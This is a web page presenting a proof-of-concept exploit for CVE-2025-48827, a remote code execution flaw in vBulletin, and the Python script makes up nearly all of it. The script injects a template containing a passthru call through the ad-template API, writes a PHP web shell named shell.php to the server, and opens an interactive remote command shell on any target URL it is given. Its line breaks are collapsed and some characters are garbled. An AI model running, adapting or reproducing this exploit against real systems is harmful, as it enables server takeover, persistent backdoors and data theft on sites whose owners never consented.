CVE-2025-48827｜vBulletin远程代码执行漏洞（POC）

#!/usr/bin/env python3import requestsimport sysimport urllib3import re
# Suppress InsecureRequestWarningurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ANSI ColorsRED    = "�33[31m"GREEN  = "�33[32m"YELLOW = "�33[33m"BLUE   = "�33[34m"CYAN   = "�33[36m"BOLD   = "�33[1m"RESET  = "�33[0m"
def banner():    print(CYAN + BOLD + r"""      __________      .__  .__          __  .__      ___________________ _______>___  _______   __ __|  | |  |   _____/  |_|__| __________   _   ___ \_   __>  / /|    |  _/  |    | |  | _/ __    __  |/    |       _/      / |    _>    / |    |     |  /  |_|  |_  ___/|  | |  |   |      |        ____|     >  _/  |______  /____/|____/____/___  >__| |__|___|  /____|_  /______  /______>              /                     /             /       /        /       >
                             vBulletin RCE - Web Shell Dropper by 0xgh057r3c0n""" + RESET)
def usage(script):    print(YELLOW + f"nUsage:   python3 {script} <URL>")    print(f"Example: python3 {script} http://target/vb/n" + RESET)    sys.exit(1)
def error_exit(msg):    print(RED + f"[-] Error: {msg}n" + RESET)    sys.exit(1)
def info(msg):    print(YELLOW + f"[!] {msg}" + RESET)
def success(msg):    print(GREEN + f"[+] {msg}" + RESET)
def inject_rce_template(session, target):    inject_data = {        "routestring": "ajax/api/ad/replaceAdTemplate",        "styleid": "1",        "location": "rce",        "template": '<vb:if condition='"passthru"($_POST["cmd"])'> </vb:if>'    }    r = session.post(target, data=inject_data, verify=False)    if r.text.strip() != "null":        error_exit("Template injection failed.")    success("RCE payload injected.")
def drop_shell(session, target):    shell_code = '<?php if(isset($_GET["cmd"])){echo "<pre>"; system($_GET["cmd"]); echo "</pre>";} ?>'    cmd = f"echo {shell_code!r} > shell.php"    drop_data = {        "routestring": "ajax/render/ad_rce",        "styleid": "1",        "location": "rce",        "cmd": cmd    }    session.post(target, data=drop_data, verify=False)    success(f"shell.php dropped at: {target}shell.php")    info("Launch commands like:")    print(f"    curl '{target}shell.php?cmd=whoami'n")
def run_command(session, target, cmd):    data = {        "routestring": "ajax/render/ad_rce",        "styleid": "1",        "location": "rce",        "cmd": cmd    }    r = session.post(target, data=data, verify=False)    if r.status_code != 200:        print(RED + f"[-] HTTP error: {r.status_code}" + RESET)        return None
    # Always show full response for debug    print(YELLOW + "[DEBUG] Full response:n" + RESET + r.text)
    match = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)    if match:        return match.group(1).strip()    else:        return None
def interactive_shell(session, target):    cwd = "."    info("Entering interactive mode (type 'exit' to quit)")    while True:        try:            user_input = input(f"{BOLD}{BLUE}(shell:{cwd})$ {RESET}").strip()        except (KeyboardInterrupt, EOFError):            print("n" + YELLOW + "[!] Exiting interactive shell." + RESET)            break
        if user_input.lower() == "exit":            break
        if user_input.startswith("cd "):            path = user_input[3:].strip()            cmd = f"cd {cwd} && cd {path} && pwd"            output = run_command(session, target, cmd)            if output:                cwd = output            else:                print(RED + "[-] Directory change failed." + RESET)            continue
        cmd = f"cd {cwd} && {user_input}"        output = run_command(session, target, cmd)        if output:            print(GREEN + output + RESET)        else:            print(RED + "[-] No output or command failed." + RESET)
def main():    banner()
    if len(sys.argv) != 2:        usage(sys.argv[0])
    target = sys.argv[1].rstrip('/') + '/'
    session = requests.Session()
    try:        inject_rce_template(session, target)        drop_shell(session, target)        interactive_shell(session, target)    except requests.exceptions.RequestException as e:        error_exit(f"Request error: {e}")
if __name__ == "__main__":    main()